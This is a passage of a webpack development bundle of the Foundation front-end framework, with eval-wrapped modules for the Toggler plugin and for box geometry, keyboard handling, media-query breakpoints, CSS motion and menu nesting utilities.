the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if 